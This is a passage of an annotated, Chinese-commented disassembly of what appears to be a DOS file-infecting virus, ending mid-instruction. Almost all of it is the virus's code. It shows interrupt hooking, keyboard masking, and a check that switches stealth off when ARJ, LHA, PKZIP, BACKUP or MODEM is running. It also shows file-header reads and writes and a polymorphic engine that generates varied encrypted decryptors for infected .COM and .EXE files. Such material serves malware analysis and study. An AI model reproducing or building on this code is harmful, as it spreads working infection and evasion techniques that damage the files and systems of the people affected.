9E80:0A0A C3         RET
;==========================================================================
;0A0B  读文件头 18 字节到 1270
;0A0E  写文件头 18 字节
9E80:0A0B B43F        MOV  AH,3F
9E80:0A0D 3DB440      CMP  AX,40B4
9E80:0A10 BA7012      MOV  DX,1270
9E80:0A13 B91800      MOV  CX,0018
9E80:0A16 E8A900      CALL  0AC2
9E80:0A19 7202        JB  0A1D
9E80:0A1B 2BC1        SUB  AX,CX
9E80:0A1D C3         RET
;==========================================================================
9E80:0A1E B024        MOV  AL,24    ;设置新 INT 24
9E80:0A20 2EC516E713    LDS  DX,CS:[13E7]
9E80:0A25 E8ACF6      CALL  00D4
9E80:0A28 E421        IN  AL,21    ;屏蔽键盘
9E80:0A2A 24FD        AND  AL,FD
9E80:0A2C E621        OUT  21,AL
9E80:0A2E C3         RET
;==========================================================================
9E80:0A2F 894610      MOV  [BP+10],AX
9E80:0A32 9C         PUSHF
9E80:0A33 8F4612      POP  [BP+12]
9E80:0A36 C3         RET
;=========================================================================
;判断 INT 21 是否在压缩程序中调用
;如果在压缩程序中调用, 则欺骗功能不使用
9E80:0A37 50         PUSH  AX
9E80:0A38 51         PUSH  CX
9E80:0A39 56         PUSH  SI
9E80:0A3A 57         PUSH  DI
9E80:0A3B 06         PUSH  ES
9E80:0A3C B002        MOV  AL,02
9E80:0A3E 0AC0        OR  AL,AL
9E80:0A40 753E        JNZ  0A80
9E80:0A42 E84B00      CALL  0A90     ;取当前执行文件名
9E80:0A45 268B05      MOV  AX,ES:[DI]   ;于 ES:DI
9E80:0A48 3D4152      CMP  AX,5241   ; "AR" = ARJ
9E80:0A4B 7433        JZ  0A80
9E80:0A4D 3D4C48      CMP  AX,484C   ; "LH" = LHA
9E80:0A50 742E        JZ  0A80
9E80:0A52 3D504B      CMP  AX,4B50   ; "PK" = PKZIP
9E80:0A55 7429        JZ  0A80     ;如果是以上文件,返回 ZR
9E80:0A57 B90200      MOV  CX,0002
9E80:0A5A BE860A      MOV  SI,0A86
9E80:0A5D 51         PUSH  CX
9E80:0A5E 57         PUSH  DI
9E80:0A5F B108        MOV  CL,08
9E80:0A61 2EAC        LODSB  CS:
9E80:0A63 346C        XOR  AL,6C    ;判断是否 BACKUP
9E80:0A65 F2         REPNZ      ;或 MODEM
9E80:0A66 AE         SCASB
9E80:0A67 7510        JNZ  0A79     ;0A86 及 0A8B
9E80:0A69 80F903      CMP  CL,03     ;处为加密的字符串
9E80:0A6C 720B        JB  0A79     ;BACK 及 MODEM
9E80:0A6E B104        MOV  CL,04
9E80:0A70 2EAC        LODSB  CS:
9E80:0A72 346C        XOR  AL,6C
9E80:0A74 7403        JZ  0A79
9E80:0A76 AE         SCASB
9E80:0A77 E1F7        LOOPZ  0A70
9E80:0A79 BE8B0A      MOV  SI,0A8B
9E80:0A7C 5F         POP  DI
9E80:0A7D 59         POP  CX
9E80:0A7E E0DD        LOOPNZ  0A5D
9E80:0A80 07         POP  ES
9E80:0A81 5F         POP  DI
9E80:0A82 5E         POP  SI
9E80:0A83 59         POP  CX
9E80:0A84 58         POP  AX
9E80:0A85 C3         RET
9E80:0A86              2E 2D-2F 27 6C 21 23 28 29 21      ..........
;=======================================================================
;从 MCB 中取执行文件名到 ES:DI
9E80:0A90 50         PUSH  AX
9E80:0A91 53         PUSH  BX
9E80:0A92 B462        MOV  AH,62
9E80:0A94 E82E00      CALL  0AC5     ;当前 PSP
9E80:0A97 4B         DEC  BX     ;执行程序的 MCB
9E80:0A98 8EC3        MOV  ES,BX
9E80:0A9A BF0800      MOV  DI,0008   ;MCB:0008 = 执行文件名
9E80:0A9D FC         CLD
9E80:0A9E 5B         POP  BX
9E80:0A9F 58         POP  AX
9E80:0AA0 C3         RET
;==================================================================
;取 DTA 地址
9E80:0AA1 B42F        MOV  AH,2F
9E80:0AA3 E81F00      CALL  0AC5
9E80:0AA6 06         PUSH  ES
9E80:0AA7 1F         POP  DS
9E80:0AA8 C3         RET
;==================================================================
病毒执行 INT 13 ???
9E80:0AA9 E838F7      CALL  01E4
9E80:0AAC 9C         PUSHF
9E80:0AAD 2EFF1EEF13    CALL  FAR CS:[13EF]
9E80:0AB2 E82FF7      CALL  01E4
9E80:0AB5 C3         RET
;===================================================================
9E80:0AB6 F6C280      TEST  DL,80
9E80:0AB9 7410        JZ  0ACB
9E80:0ABB 9C         PUSHF
9E80:0ABC 2EFF1EEB13    CALL  FAR CS:[13EB]
9E80:0AC1 C3         RET
9E80:0AC2 BB0100      MOV  BX,0001
9E80:0AC5 9C         PUSHF
9E80:0AC6 0E         PUSH  CS
9E80:0AC7 E8F5FD      CALL  08BF
9E80:0ACA C3         RET
9E80:0ACB 9C         PUSHF
9E80:0ACC 2EFF1EF713    CALL  FAR CS:[13F7]
9E80:0AD1 C3         RET
;========================================================================
;  产生变型加密代码
;  输入 : AX = IP 入口  BP = 0 (.COM) = 8000 (.EXE)
;========================================================================
; 子程序中用到的一些数据
; BP : 8-15 位用作标志  0-7 位用作寄存器是否已使用标志,一位代表一个寄存器
;  BIT 8 (0100)==不执行产生随机代码子程序
;  BIT 9 (0200)==产生指令时保存指令到 [1410]
;  BIT 10(0400)==在变型解密算法中,CX为密匙寄存器,0C7C子程序已执行
;  BIT 11(0800)==随机无效指令中不能改变 CY 标志
;  BIT 12(1000)==
;  BIT 13(2000)==在长度寄存器为CX时,寄存器减一子程序中CX未减
;  BIT 14(4000)==?????
;  BIT 15(8000)==被传染程序为 .EXE 文件
; [11A3] = 密匙值
; [1104] = 入口 IP 值    [1406] = 解密指针偏移
; [1108] = 加密算法指令指针  [110A] = 加密算法指令结束指针
; [140C] = 密匙寄存器     [140D] = 计数寄存器
; [140E] = 指针寄存器之一  [140F] = 指针寄存器之二
; [1410] = 上个随机指令
9E80:0AD2 A30414      MOV  [1404],AX
9E80:0AD5 BFDA11      MOV  DI,11DA   ;加密代码存放于 11DA
9E80:0AD8 BB330E      MOV  BX,0E33   ;按随机顺序执行
9E80:0ADB B9210E      MOV  CX,0E21   ;0E33 0E21 和 0E40
9E80:0ADE BA400E      MOV  DX,0E40   ;产生密匙/计数/指针
9E80:0AE1 BE5311      MOV  SI,1153   ;三种寄存器的原始数据
9E80:0AE4 81CDEF00     OR  BP,00EF
9E80:0AE8 E84506      CALL  1130     ;随机执行
9E80:0AEB 57         PUSH  DI
9E80:0AEC 57         PUSH  DI
9E80:0AED BE9E11      MOV  SI,119E
9E80:0AF0 BFA012      MOV  DI,12A0
9E80:0AF3 B93500      MOV  CX,0035
9E80:0AF6 F3         REPZ
9E80:0AF7 A4         MOVSB
9E80:0AF8 C7060814AC12  MOV  Word Ptr [1408],12AC   ;加密算法代码指针
9E80:0AFE 5F         POP  DI
9E80:0AFF BBA80C      MOV  BX,0CA8   ;随机执行 0CA8/0D9E/0C7C/0C57
9E80:0B02 B99E0D      MOV  CX,0D9E   ;计数寄存器加一
9E80:0B05 BA7C0C      MOV  DX,0C7C   ;指针寄存器加二
9E80:0B08 BE570C      MOV  SI,0C57   ;指针寄存器处数据解密
9E80:0B0B E82206      CALL  1130     ;随机决定是否每次改变密匙
9E80:0B0E B80200      MOV  AX,0002
9E80:0B11 50         PUSH  AX
9E80:0B12 E85106      CALL  1166
9E80:0B15 58         POP  AX
9E80:0B16 7406        JZ  0B1E
9E80:0B18 F7C50040     TEST  BP,4000
9E80:0B1C 755C        JNZ  0B7A
9E80:0B1E E84506      CALL  1166
9E80:0B21 7406        JZ  0B29
9E80:0B23 F7C50020     TEST  BP,2000
9E80:0B27 7551        JNZ  0B7A
;===========================================================================
; 测试计数寄存器分支之一: ADD R_计数,0
9E80:0B29 81CD0008     OR  BP,0800   ;设置随机指令不能改变标志 CY
9E80:0B2D B80200      MOV  AX,0002
9E80:0B30 99         CWD       ;DX = 0
9E80:0B31 E83206      CALL  1166
9E80:0B34 A00D14      MOV  AL,[140D]   ;计数寄存器
9E80:0B37 750F        JNZ  0B48
9E80:0B39 E81E06      CALL  115A
9E80:0B3C 7505        JNZ  0B43
9E80:0B3E E84C04      CALL  0F8D     ;ADD R_AL,0
9E80:0B41 EB37        JMP  0B7A
9E80:0B43 E8E103      CALL  0F27     ;ADD R_AL,0
9E80:0B46 EB32        JMP  0B7A
9E80:0B48 B103        MOV  CL,03
9E80:0B4A 8AE8        MOV  CH,AL
9E80:0B4C D2E5        SHL  CH,CL
9E80:0B4E 0AC5        OR  AL,CH     ;mm r/m 及 rrr = R_AL
9E80:0B50 BB0200      MOV  BX,0002
9E80:0B53 E8FE05      CALL  1154
9E80:0B56 750D        JNZ  0B65
9E80:0B58 0DC009      OR  AX,09C0   ;09 C0 = OR R_AL,R_AL
9E80:0B5B E8FC05      CALL  115A
9E80:0B5E 7510        JNZ  0B70
9E80:0B60 80CC02      OR  AH,02     ;0B C0 = OR R_AL,R_AL
9E80:0B63 EB0B        JMP  0B70
9E80:0B65 4B         DEC  BX
9E80:0B66 7505        JNZ  0B6D
9E80:0B68 0DC021      OR  AX,21C0   ;21 C0 = AND R_AL,R_AL
9E80:0B6B EBEE        JMP  0B5B
9E80:0B6D 0DC085     &